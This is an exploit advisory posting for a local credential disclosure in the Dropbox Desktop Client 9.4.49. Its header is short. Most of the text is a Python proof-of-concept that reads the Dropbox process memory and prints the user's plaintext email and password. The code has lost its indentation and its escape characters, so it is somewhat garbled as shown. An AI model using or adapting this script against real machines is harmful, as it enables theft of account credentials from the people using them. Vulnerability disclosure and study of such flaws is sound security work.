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Dropbox Desktop Client 9.4.49 Credential Disclosure

Posted on 09 September 2016

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# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
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# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
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# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username = ''
password = ''
found = 0
filename = "Dropbox.exe"
process_pid = 0
memory_dump = []

debug = Debug()
try:
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)
for address in process.search_bytes('x26x70x61x73x73x77x6Fx72x64x3D'):
memory_dump.append(process.read(address,100))
for i in range(len(memory_dump)):
email_addr = memory_dump[i].split('email=')[1]
tmp_passwd = memory_dump[i].split('password=')[1]
username = email_addr.split('x00')[0]
password = tmp_passwd.split('&is_sso_link=')[0]
if username != '' and password !='':
found = 1
print "[+] Credentials found!
----------------------------------------"
print "[+] Username: %s" % urllib.unquote_plus(username)
print "[+] Password: %s" % password
if found == 0:
print "[-] Credentials not found! Make sure the client is connected."
else:
print "[-] No process found with name '%s'." % (filename)

debug.loop()
finally:
debug.stop()

 

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